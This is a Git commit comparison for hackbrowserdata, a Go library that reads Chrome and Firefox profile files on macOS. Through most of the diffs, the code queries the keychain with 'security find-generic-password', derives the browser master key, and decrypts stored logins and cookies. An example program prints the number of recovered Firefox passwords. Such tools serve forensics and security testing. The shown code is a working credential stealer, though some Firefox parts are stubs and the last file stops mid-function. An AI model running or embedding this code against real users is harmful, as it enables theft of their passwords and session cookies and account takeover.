Compare commits

...

5 Commits

Author SHA1 Message Date
moonD4rk 24c90f5b92
refactor: Refactor project as library layout 1 year ago
moonD4rk 0d6642ead9
fix: fix syntax errors and remove unused variables 1 year ago
moonD4rk 48d38ef39c
feat: add firefox browser to support multiple profiles and export passwords 1 year ago
moonD4rk d87ef03ae0
chore: linter violations in test files for multiple linters 1 year ago
moonD4rk aa2e1af5b5
feat/library: Add support for use as library for macos chrome 1 year ago
  1. 2
      .gitignore
  2. 10
      .golangci.yml
  3. 10
      browingdata/password/password.go
  4. 58
      browser.go
  5. 50
      browser_darwin.go
  6. 1
      browser_linux.go
  7. 1
      browser_windows.go
  8. 13
      browserdata/bookmark.go
  9. 51
      browserdata/browserdata.go
  10. 131
      browserdata/cookie.go
  11. 306
      browserdata/password.go
  12. 204
      chromium.go
  13. 46
      chromium_darwin.go
  14. 1
      chromium_linux.go
  15. 1
      chromium_windows.go
  16. 33
      crypto/crypto.go
  17. 144
      datatype.go
  18. 15
      errors.go
  19. 23
      examples/export.go
  20. 202
      firefox.go
  21. 17
      firefox_test.go
  22. 36
      options.go

2
.gitignore vendored

@ -194,3 +194,5 @@ hack-browser-data
!/browingdata/history
!/browingdata/history/history.go
!/browingdata/history/history_test.go
/docs

@ -60,9 +60,15 @@ issues:
- G502
- G505
exclude-rules:
- path: browser/browser\.go
- path: _test\.go
linters:
- 'unused'
- gocyclo
- errcheck
- dupl
- gosec
- unparam
- staticcheck
- paralleltest
max-issues-per-linter: 0
max-same-issues: 0

@ -169,7 +169,7 @@ const (
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
)
func (f *FirefoxPassword) Parse(masterKey []byte) error {
func (f *FirefoxPassword) Parse(_ []byte) error {
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.TempFirefoxKey4)
if err != nil {
return err
@ -179,7 +179,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
return err
}
k, err := metaPBE.Decrypt(globalSalt, masterKey)
k, err := metaPBE.Decrypt(globalSalt)
if err != nil {
return err
}
@ -190,7 +190,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
if err != nil {
return err
}
finallyKey, err := nssPBE.Decrypt(globalSalt, masterKey)
finallyKey, err := nssPBE.Decrypt(globalSalt)
if err != nil {
return err
}
@ -210,11 +210,11 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
if err != nil {
return err
}
user, err := userPBE.Decrypt(finallyKey, masterKey)
user, err := userPBE.Decrypt(finallyKey)
if err != nil {
return err
}
pwd, err := pwdPBE.Decrypt(finallyKey, masterKey)
pwd, err := pwdPBE.Decrypt(finallyKey)
if err != nil {
return err
}

@ -0,0 +1,58 @@
package hackbrowserdata
import (
"github.com/moond4rk/hackbrowserdata/browserdata"
)
type Browser interface {
Passwords() ([]browserdata.Password, error)
Cookies() ([]browserdata.Cookie, error)
ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error)
}
func NewBrowser(b browser, options ...BrowserOption) (Browser, error) {
opt, ok := defaultBrowserOptions[b]
if !ok {
return nil, ErrBrowserNotSupport
}
for _, options := range options {
options(opt)
}
if opt.NewBrowserFunc == nil {
return nil, ErrBrowserNotSupport
}
return opt.NewBrowserFunc(opt)
}
type browser string
const (
Chrome browser = "chrome"
Firefox browser = "firefox"
Yandex browser = "yandex"
Edge browser = "edge"
Chromium browser = "chromium"
)
type browserType int
const (
browserTypeChromium browserType = iota + 1
browserTypeFirefox
browserTypeYandex
)
func (b browser) Type() browserType {
switch b {
case Firefox:
return browserTypeFirefox
case Yandex:
return browserTypeYandex
default:
return browserTypeChromium
}
}

@ -0,0 +1,50 @@
package hackbrowserdata
import (
"os"
)
const (
chromeStorageName = "Chrome"
chromeBetaStorageName = "Chrome"
chromiumStorageName = "Chromium"
edgeStorageName = "Microsoft Edge"
braveStorageName = "Brave"
operaStorageName = "Opera"
vivaldiStorageName = "Vivaldi"
coccocStorageName = "CocCoc"
yandexStorageName = "Yandex"
arcStorageName = "Arc"
)
var homeDir, _ = os.UserHomeDir()
var (
chromeProfilePath = homeDir + "/Library/Application Support/Google/Chrome/Default/"
chromeBetaProfilePath = homeDir + "/Library/Application Support/Google/Chrome Beta/Default/"
chromiumProfilePath = homeDir + "/Library/Application Support/Chromium/Default/"
edgeProfilePath = homeDir + "/Library/Application Support/Microsoft Edge/Default/"
braveProfilePath = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser/Default/"
operaProfilePath = homeDir + "/Library/Application Support/com.operasoftware.Opera/Default/"
operaGXProfilePath = homeDir + "/Library/Application Support/com.operasoftware.OperaGX/Default/"
vivaldiProfilePath = homeDir + "/Library/Application Support/Vivaldi/Default/"
coccocProfilePath = homeDir + "/Library/Application Support/Coccoc/Default/"
yandexProfilePath = homeDir + "/Library/Application Support/Yandex/YandexBrowser/Default/"
arcProfilePath = homeDir + "/Library/Application Support/Arc/User Data/Default"
firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/"
)
var defaultBrowserOptions = map[browser]*Options{
Chrome: {
Name: Chrome,
Storage: chromeStorageName,
ProfilePath: chromeProfilePath,
NewBrowserFunc: NewChromium,
},
Firefox: {
Name: Firefox,
ProfilePath: firefoxProfilePath,
NewBrowserFunc: NewFirefox,
},
}

@ -0,0 +1 @@
package hackbrowserdata

@ -0,0 +1 @@
package hackbrowserdata

@ -0,0 +1,13 @@
package browserdata
import (
"time"
)
type Bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}

@ -0,0 +1,51 @@
package browserdata
import (
"database/sql"
"os"
"path/filepath"
_ "github.com/mattn/go-sqlite3"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type Extractor interface {
Extract() (interface{}, error)
}
type RowsHandler func([]byte, interface{}) (interface{}, error)
type ExtractorHandler func([]byte, string, string, RowsHandler) (interface{}, error)
func DefaultDBHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) {
tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath))
if err := fileutil.CopyFile(dbpath, tempFile); err != nil {
return nil, err
}
defer os.Remove(tempFile)
db, err := sql.Open("sqlite3", tempFile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(dbQuery)
if err != nil {
return nil, err
}
defer rows.Close()
return rowsHandler(masterKey, rows)
}
func DefaultJSONHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) {
tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath))
if err := fileutil.CopyFile(dbpath, tempFile); err != nil {
return nil, err
}
defer os.Remove(tempFile)
s, err := os.ReadFile(tempFile)
if err != nil {
return nil, err
}
return rowsHandler(masterKey, s)
}

@ -0,0 +1,131 @@
package browserdata
import (
"database/sql"
"os"
"path/filepath"
"sort"
"time"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type CookieExtractor struct {
Data []Cookie
masterKey []byte
datafile string
}
func NewCookieExtractor(masterKey []byte, datafile string) *CookieExtractor {
return &CookieExtractor{masterKey: masterKey, datafile: datafile}
}
type Cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
func ExportCookie(masterKey []byte, passwordPath string) ([]Cookie, error) {
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath))
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil {
return nil, err
}
defer os.Remove(tempPassFile)
cookies, err := exportCookies(masterKey, "", tempPassFile)
if err != nil {
return nil, err
}
return cookies, err
}
func exportCookies(masterKey []byte, profile, dbFile string) ([]Cookie, error) {
data, err := exportData(masterKey, profile, dbFile, handlerCookie)
if err != nil {
return nil, err
}
cookies := make([]Cookie, 0, len(data))
for _, v := range data {
cookies = append(cookies, v.(Cookie))
}
sort.Slice(cookies, func(i, j int) bool {
return (cookies)[i].CreateDate.After((cookies)[j].CreateDate)
})
return cookies, nil
}
type rowHandlerFunc func(masterKey []byte, rows *sql.Rows) (interface{}, error)
func handlerCookie(masterKey []byte, rows *sql.Rows) (interface{}, error) {
var (
err error
key, host, path string
isSecure, isHTTPOnly, hasExpire, isPersistent int
createDate, expireDate int64
value, encryptValue []byte
)
if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
log.Warn(err)
}
cookie := Cookie{
KeyName: key,
Host: host,
Path: path,
encryptValue: encryptValue,
IsSecure: typeutil.IntToBool(isSecure),
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
HasExpire: typeutil.IntToBool(hasExpire),
IsPersistent: typeutil.IntToBool(isPersistent),
CreateDate: typeutil.TimeEpoch(createDate),
ExpireDate: typeutil.TimeEpoch(expireDate),
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DPAPI(encryptValue)
} else {
value, err = crypto.DecryptPass(masterKey, encryptValue)
}
if err != nil {
log.Error(err)
}
}
cookie.Value = string(value)
return cookie, nil
}
func exportData(masterKey []byte, passFile string, query string, rowHandler rowHandlerFunc) ([]interface{}, error) {
db, err := sql.Open("sqlite3", passFile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var data []interface{}
for rows.Next() {
item, err := rowHandler(masterKey, rows)
if err != nil {
log.Warn(err)
continue
}
data = append(data, item)
}
return data, nil
}

@ -0,0 +1,306 @@
package browserdata
import (
"database/sql"
"encoding/base64"
"os"
"path/filepath"
"time"
// import go-sqlite3 driver
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type PasswordExtractor struct {
masterKey []byte
datafiles []string
extractorHandler ExtractorHandler
rowsHandler RowsHandler
}
type Password struct {
Profile string
Username string
Password string
encryptPass []byte
encryptUser []byte
LoginURL string
CreateDate time.Time
}
func NewPassExtractor(masterKey []byte, datafiles []string, fileHandler ExtractorHandler, rowsHandler RowsHandler) *PasswordExtractor {
return &PasswordExtractor{
masterKey: masterKey,
datafiles: datafiles,
extractorHandler: fileHandler,
rowsHandler: rowsHandler,
}
}
func (d *PasswordExtractor) Extract() (interface{}, error) {
var passwords []Password
var err error
for _, datafile := range d.datafiles {
data, err := d.extractorHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler)
if err != nil {
log.Error(err)
continue
}
passwords = append(passwords, data.([]Password)...)
}
return passwords, err
}
func ChromiumPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) {
sqlRows := rows.(*sql.Rows)
var passwords []Password
for sqlRows.Next() {
var (
url, username string
encryptPass, password []byte
create int64
err error
)
if err := sqlRows.Scan(&url, &username, &encryptPass, &create); err != nil {
log.Warn(err)
continue
}
pass := Password{
// Profile: filepath.Base(profile),
Username: username,
encryptPass: encryptPass,
LoginURL: url,
}
if len(encryptPass) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DPAPI(encryptPass)
} else {
password, err = crypto.DecryptPass(masterKey, encryptPass)
}
if err != nil {
log.Error(err)
}
}
if create > time.Now().Unix() {
pass.CreateDate = typeutil.TimeEpoch(create)
} else {
pass.CreateDate = typeutil.TimeStamp(create)
}
pass.Password = string(password)
passwords = append(passwords, pass)
}
return passwords, nil
}
func FirefoxPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) {
var passwords []Password
jsonBytes := rows.([]byte)
jsonRows := gjson.GetBytes(jsonBytes, "logins").Array()
if len(jsonRows) == 0 {
return nil, nil
}
for _, v := range jsonRows {
var (
p Password
encryptUser []byte
encryptPass []byte
err error
)
p.LoginURL = v.Get("formSubmitURL").String()
encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
p.encryptUser = encryptUser
p.encryptPass = encryptPass
// TODO: handle error
userPBE, err := crypto.NewASN1PBE(p.encryptUser)
if err != nil {
return nil, err
}
pwdPBE, err := crypto.NewASN1PBE(p.encryptPass)
if err != nil {
return nil, err
}
username, err := userPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
password, err := pwdPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
p.Password = string(password)
p.Username = string(username)
p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
passwords = append(passwords, p)
}
return passwords, nil
}
func (d *PasswordExtractor) ExtractChromium() (interface{}, error) {
var passwords []Password
var err error
for _, datafile := range d.datafiles {
data, err := DefaultDBHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler)
if err != nil {
log.Error(err)
continue
}
passwords = append(passwords, data.([]Password)...)
}
return passwords, err
}
func (d *PasswordExtractor) ExtractFirefox() (interface{}, error) {
return nil, nil
}
func Export(masterKey []byte, passwordPath string) ([]Password, error) {
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath))
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil {
return nil, err
}
defer os.Remove(tempPassFile)
passwords, err := exportPasswords(masterKey, "", tempPassFile)
if err != nil {
return nil, err
}
return passwords, err
}
const (
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
)
func exportPasswords(masterKey []byte, profile, passFile string) ([]Password, error) {
db, err := sql.Open("sqlite3", passFile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(queryChromiumLogin)
if err != nil {
return nil, err
}
var passwords []Password
for rows.Next() {
var (
url, username string
encryptPass, password []byte
create int64
)
if err := rows.Scan(&url, &username, &encryptPass, &create); err != nil {
log.Warn(err)
}
pass := Password{
Profile: filepath.Base(profile),
Username: username,
encryptPass: encryptPass,
LoginURL: url,
}
if len(encryptPass) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DPAPI(encryptPass)
} else {
password, err = crypto.DecryptPass(masterKey, encryptPass)
}
if err != nil {
log.Error(err)
}
}
if create > time.Now().Unix() {
pass.CreateDate = typeutil.TimeEpoch(create)
} else {
pass.CreateDate = typeutil.TimeStamp(create)
}
pass.Password = string(password)
passwords = append(passwords, pass)
}
return passwords, nil
}
const (
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
)
func ExportPasswords(masterKey []byte, passwordPath string) ([]Password, error) {
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath))
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil {
return nil, err
}
defer os.Remove(tempPassFile)
passwords, err := exportFirefoxPasswords(masterKey, "", tempPassFile)
if err != nil {
return nil, err
}
return passwords, err
}
func exportFirefoxPasswords(masterKey []byte, profile, passFile string) ([]Password, error) {
s, err := os.ReadFile(passFile)
if err != nil {
return nil, err
}
defer os.Remove(passFile)
loginsJSON := gjson.GetBytes(s, "logins")
var passwords []Password
if !loginsJSON.Exists() {
return nil, err
}
for _, v := range loginsJSON.Array() {
var (
p Password
encryptUser []byte
encryptPass []byte
)
p.LoginURL = v.Get("formSubmitURL").String()
encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
p.encryptUser = encryptUser
p.encryptPass = encryptPass
// TODO: handle error
userPBE, err := crypto.NewASN1PBE(p.encryptUser)
if err != nil {
return nil, err
}
pwdPBE, err := crypto.NewASN1PBE(p.encryptPass)
if err != nil {
return nil, err
}
username, err := userPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
password, err := pwdPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
p.Password = string(password)
p.Username = string(username)
p.Profile = profile
p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
passwords = append(passwords, p)
}
return passwords, nil
}

@ -0,0 +1,204 @@
package hackbrowserdata
import (
"errors"
"fmt"
"io/fs"
"path/filepath"
"strings"
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type chromium struct {
name browser
storage string
profilePath string
enableAllUsers bool
profilePaths []string
masterKey []byte
// defaultDataTypes
supportedDataTypes []DataType
extractors map[DataType]browserdata.Extractor
extractedData map[DataType]interface{}
}
func NewChromium(options *Options) (Browser, error) {
if options.ProfilePath == "" {
return nil, errors.New("profile path is required")
}
if options.Name == "" {
return nil, errors.New("browser name is required")
}
c := &chromium{
name: options.Name,
profilePath: options.ProfilePath,
enableAllUsers: true,
supportedDataTypes: defaultDataTypes,
extractors: make(map[DataType]browserdata.Extractor),
extractedData: make(map[DataType]interface{}),
}
if !options.IsEnableAllUser {
c.enableAllUsers = false
}
if len(options.DataTypes) > 0 {
c.supportedDataTypes = options.DataTypes
}
if err := c.init(); err != nil {
return nil, err
}
return c, nil
}
func (c *chromium) init() error {
if err := c.initProfiles(); err != nil {
return fmt.Errorf("profile path '%s' does not exist %w", c.profilePath, ErrBrowserNotExists)
}
if err := c.initExtractors(); err != nil {
return err
}
return c.initMasterKey()
}
func (c *chromium) ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error) {
for _, dataType := range dataTypes {
if extractor, ok := c.extractors[dataType]; ok {
data, err := extractor.Extract()
if err != nil {
fmt.Printf("extract %s data failed: %v", dataType, err)
continue
}
c.extractedData[dataType] = data
}
}
return c.extractedData, nil
}
// func (c *chromium) Passwords() ([]password.Password, error) {
// // browserData, err := c.ExtractBrowserData([]DataType{TypePassword})
// // if err != nil {
// // return nil, err
// // }
// dataType := TypePassword
// if data, ok := c.extractedData[dataType]; ok {
// return data.([]password.Password), nil
// }
// extractor, ok := c.extractors[dataType]
// if !ok {
// return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
// }
// data, err := extractor.ExtractChromium()
// if err != nil {
// return nil, err
// }
// return data.([]password.Password), nil
// }
func (c *chromium) filterExistDataPaths(dataTypes []DataType) (map[DataType][]string, error) {
// exporters := make(map[DataType]BrowserData)
dataPaths := make(map[DataType][]string)
var errs []error
for _, profile := range c.profilePaths {
for _, dataType := range dataTypes {
dataTypeFile := filepath.Join(profile, dataType.Filename(c.name))
if !fileutil.IsFileExists(dataTypeFile) {
errs = append(errs, ErrBrowsingDataNotExists)
}
dataPaths[dataType] = append(dataPaths[dataType], dataTypeFile)
}
}
return dataPaths, nil
}
func (c *chromium) Passwords() ([]browserdata.Password, error) {
dataType := TypePassword
if data, ok := c.extractedData[dataType]; ok {
return data.([]browserdata.Password), nil
}
extractor, ok := c.extractors[dataType]
if !ok {
return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
}
data, err := extractor.Extract()
if err != nil {
return nil, err
}
return data.([]browserdata.Password), nil
}
func (c *chromium) Cookies() ([]browserdata.Cookie, error) {
dataType := TypeCookie
if data, ok := c.extractedData[dataType]; ok {
return data.([]browserdata.Cookie), nil
}
extractor, ok := c.extractors[dataType]
if !ok {
return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
}
data, err := extractor.Extract()
if err != nil {
return nil, err
}
return data.([]browserdata.Cookie), nil
}
func (c *chromium) initExtractors() error {
dataPaths, err := c.filterExistDataPaths(c.supportedDataTypes)
if err != nil {
return err
}
for _, dataType := range c.supportedDataTypes {
if _, ok := dataPaths[dataType]; !ok {
continue
}
c.extractors[dataType] = dataType.NewExtractor(c.name.Type(), c.masterKey, dataPaths[dataType])
}
return nil
}
func (c *chromium) initProfiles() error {
if !fileutil.IsDirExists(c.profilePath) {
return ErrBrowserNotExists
}
if c.enableAllUsers {
profilesPaths, err := c.findAllProfiles()
if err != nil {
return err
}
c.profilePaths = profilesPaths
} else {
c.profilePaths = []string{c.profilePath}
}
return nil
}
// TODO: mix it as firefox's find All Profiles
func (c *chromium) findAllProfiles() ([]string, error) {
var profiles []string
root := fileutil.ParentDir(c.profilePath)
err := filepath.Walk(root, func(path string, info fs.FileInfo, err error) error {
if err != nil {
return err
}
// if the path ends with "History", add it to the list
if strings.HasSuffix(path, TypeHistory.Filename(c.name)) {
// skip the "System Profile" directory
if !strings.Contains(path, "System Profile") {
profiles = append(profiles, filepath.Dir(path))
}
}
// calculate the depth of the current path
depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator)))
// if the depth is more than 2 and it's a directory, skip it
if info.IsDir() && path != root && depth >= 2 {
return filepath.SkipDir
}
return err
})
if err != nil {
return nil, err
}
return profiles, err
}

@ -0,0 +1,46 @@
package hackbrowserdata
import (
"bytes"
"crypto/sha1"
"errors"
"fmt"
"os/exec"
"strings"
"golang.org/x/crypto/pbkdf2"
)
var (
salt = []byte("saltysalt")
)
func (c *chromium) initMasterKey() error {
var stdout, stderr bytes.Buffer
args := []string{"find-generic-password", "-wa", strings.TrimSpace(c.storage)}
cmd := exec.Command("security", args...) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("run security command failed: %w, message %s", err, stderr.String())
}
if stderr.Len() > 0 {
if strings.Contains(stderr.String(), "could not be found") {
return ErrCouldNotFindInKeychain
}
return errors.New(stderr.String())
}
secret := bytes.TrimSpace(stdout.Bytes())
if len(secret) == 0 {
return ErrNoPasswordInOutput
}
key := pbkdf2.Key(secret, salt, 1003, 16, sha1.New)
if len(key) == 0 {
return ErrWrongSecurityCommand
}
c.masterKey = key
return nil
}

@ -0,0 +1 @@
package hackbrowserdata

@ -0,0 +1 @@
package hackbrowserdata

@ -9,6 +9,8 @@ import (
"crypto/sha256"
"encoding/asn1"
"errors"
"fmt"
"strings"
"golang.org/x/crypto/pbkdf2"
)
@ -20,25 +22,32 @@ var (
)
type ASN1PBE interface {
Decrypt(globalSalt, masterPwd []byte) (key []byte, err error)
Decrypt(globalSalt []byte) (key []byte, err error)
}
func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
var (
n nssPBE
m metaPBE
l loginPBE
n nssPBE
m metaPBE
l loginPBE
errs []string
)
if _, err := asn1.Unmarshal(b, &n); err == nil {
if _, err = asn1.Unmarshal(b, &n); err == nil {
return n, nil
}
if _, err := asn1.Unmarshal(b, &m); err == nil {
errs = append(errs, err.Error())
if _, err = asn1.Unmarshal(b, &m); err == nil {
return m, nil
}
if _, err := asn1.Unmarshal(b, &l); err == nil {
errs = append(errs, err.Error())
if _, err = asn1.Unmarshal(b, &l); err == nil {
return l, nil
}
return nil, errDecodeASN1Failed
errs = append(errs, err.Error())
return nil, fmt.Errorf("%w: %s", errDecodeASN1Failed, strings.Join(errs, "; "))
}
// nssPBE Struct
@ -60,8 +69,8 @@ type nssPBE struct {
Encrypted []byte
}
func (n nssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
glmp := append(globalSalt, masterPwd...)
func (n nssPBE) Decrypt(globalSalt []byte) (key []byte, err error) {
glmp := globalSalt
hp := sha1.Sum(glmp)
s := append(hp[:], n.salt()...)
chp := sha1.Sum(s)
@ -134,7 +143,7 @@ type slatAttr struct {
}
}
func (m metaPBE) Decrypt(globalSalt, _ []byte) (key2 []byte, err error) {
func (m metaPBE) Decrypt(globalSalt []byte) (key2 []byte, err error) {
k := sha1.Sum(globalSalt)
key := pbkdf2.Key(k[:], m.salt(), m.iterationCount(), m.keySize(), sha256.New)
iv := append([]byte{4, 14}, m.iv()...)
@ -177,7 +186,7 @@ type loginPBE struct {
Encrypted []byte
}
func (l loginPBE) Decrypt(globalSalt, _ []byte) (key []byte, err error) {
func (l loginPBE) Decrypt(globalSalt []byte) (key []byte, err error) {
return des3Decrypt(globalSalt, l.iv(), l.encrypted())
}

@ -0,0 +1,144 @@
package hackbrowserdata
import (
"github.com/moond4rk/hackbrowserdata/browserdata"
)
type DataType int
const (
TypeMasterKey DataType = iota
TypePassword
TypeCookie
TypeHistory
TypeBookmark
TypeCreditCard
TypeDownload
TypeExtensions
TypeSessionStorage
TypeLocalStorage
)
func (i DataType) NewExtractor(browserType browserType, masterKey []byte, datafiles []string) browserdata.Extractor {
switch i {
case TypePassword:
switch browserType {
case browserTypeChromium:
return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultDBHandler, browserdata.ChromiumPassRowsHandler)
case browserTypeFirefox:
return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultJSONHandler, browserdata.FirefoxPassRowsHandler)
}
case TypeCookie:
}
return nil
}
var (
defaultDataTypes = []DataType{TypePassword, TypeCookie}
)
const unsupportedType = ""
func (i DataType) Filename(b browser) string {
switch b.Type() {
case browserTypeChromium:
return i.chromiumFilename()
case browserTypeFirefox:
return i.firefoxFilename()
case browserTypeYandex:
return i.yandexFilename()
default:
return unsupportedType
}
}
func (i DataType) chromiumFilename() string {
switch i {
case TypeMasterKey:
return fileChromiumKey
case TypePassword:
return fileChromiumPassword
case TypeCookie:
return fileChromiumCookie
case TypeHistory:
return fileChromiumHistory
case TypeBookmark:
return fileChromiumBookmark
case TypeCreditCard:
return fileChromiumCredit
case TypeDownload:
return fileChromiumDownload
case TypeExtensions:
return fileChromiumExtension
case TypeSessionStorage:
return fileChromiumSessionStorage
case TypeLocalStorage:
return fileChromiumLocalStorage
default:
return unsupportedFile
}
}
func (i DataType) yandexFilename() string {
switch i {
case TypePassword:
return fileYandexPassword
case TypeCreditCard:
return fileYandexCredit
default:
return i.chromiumFilename()
}
}
func (i DataType) firefoxFilename() string {
switch i {
case TypeMasterKey:
return fileFirefoxMasterKey
case TypePassword:
return fileFirefoxPassword
case TypeCookie:
return fileFirefoxCookie
case TypeHistory:
return fileFirefoxData
case TypeBookmark:
return fileFirefoxData
case TypeCreditCard:
// Firefox does not store credit cards
return unsupportedFile
case TypeDownload:
return fileFirefoxData
case TypeExtensions:
return fileFirefoxExtension
case TypeSessionStorage:
return fileFirefoxData
case TypeLocalStorage:
return fileFirefoxLocalStorage
default:
return unsupportedFile
}
}
const unsupportedFile = "unsupported file"
const (
fileChromiumKey = "Local State"
fileChromiumCredit = "Web Data"
fileChromiumPassword = "Login Data"
fileChromiumHistory = "History"
fileChromiumDownload = "History"
fileChromiumCookie = "Cookies"
fileChromiumBookmark = "Bookmarks"
fileChromiumLocalStorage = "Local Storage/leveldb"
fileChromiumSessionStorage = "Session Storage"
fileChromiumExtension = "Extensions"
fileYandexPassword = "Ya Passman Data"
fileYandexCredit = "Ya Credit Cards"
fileFirefoxMasterKey = "key4.db"
fileFirefoxCookie = "cookies.sqlite"
fileFirefoxPassword = "logins.json"
fileFirefoxData = "places.sqlite"
fileFirefoxLocalStorage = "webappsstore.sqlite"
fileFirefoxExtension = "extensions.json"
)

@ -0,0 +1,15 @@
package hackbrowserdata
import (
"errors"
)
var (
ErrBrowserNotExists = errors.New("browser not exists")
ErrBrowserNotSupport = errors.New("browser not support")
ErrWrongSecurityCommand = errors.New("wrong security command")
ErrNoPasswordInOutput = errors.New("no password in output")
ErrCouldNotFindInKeychain = errors.New("could not be find in keychain")
ErrBrowsingDataNotSupport = errors.New("browsing data not support")
ErrBrowsingDataNotExists = errors.New("browsing data not exists")
)

@ -0,0 +1,23 @@
package main
import (
"fmt"
hkb "github.com/moond4rk/hackbrowserdata"
)
func main() {
browser, err := hkb.NewBrowser(hkb.Firefox)
if err != nil {
panic(err)
}
passwords, err := browser.Passwords()
if err != nil {
panic(err)
}
fmt.Println(len(passwords))
// all, err := browser.AllBrowsingData()
// if err != nil {
// panic(err)
// }
}

@ -0,0 +1,202 @@
package hackbrowserdata
import (
"bytes"
"database/sql"
"errors"
"fmt"
"io/fs"
"os"
"path/filepath"
"strings"
// import sqlite3 driver
_ "github.com/mattn/go-sqlite3"
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type firefox struct {
name browser
storage string
profilePath string
profilePaths []string
profilePathKeys map[string][]byte
disableFindAllUser bool
firefoxPassword []byte
supportedData []DataType
supportedDataMap map[DataType]struct{}
}
func NewFirefox(options *Options) (Browser, error) {
return nil, nil
}
func (f *firefox) Init() error {
if err := f.initBrowserData(); err != nil {
return err
}
if err := f.initProfiles(); err != nil {
return fmt.Errorf("profile path '%s' does not exist %w", f.profilePath, ErrBrowserNotExists)
}
return f.initMasterKey()
}
func (f *firefox) Passwords() ([]browserdata.Password, error) {
if _, ok := f.supportedDataMap[TypePassword]; !ok {
// TODO: Error handle more gracefully
return nil, errors.New("password for c.name is not supported")
}
var fullPass []browserdata.Password
for profile, masterKey := range f.profilePathKeys {
passFile := filepath.Join(profile, TypePassword.Filename(f.name))
if !fileutil.IsFileExists(passFile) {
return nil, errors.New("password file does not exist")
}
passwords, err := browserdata.ExportPasswords(masterKey, passFile)
if err != nil {
return nil, err
}
if len(passwords) > 0 {
fullPass = append(fullPass, passwords...)
}
}
return fullPass, nil
}
func (f *firefox) initBrowserData() error {
if f.supportedDataMap == nil {
f.supportedDataMap = make(map[DataType]struct{})
}
for _, v := range f.supportedData {
f.supportedDataMap[v] = struct{}{}
}
return nil
}
func (f *firefox) initProfiles() error {
if !fileutil.IsDirExists(f.profilePath) {
return ErrBrowserNotExists
}
if !f.disableFindAllUser {
profilesPaths, err := f.findAllProfiles()
if err != nil {
return err
}
f.profilePaths = profilesPaths
} else {
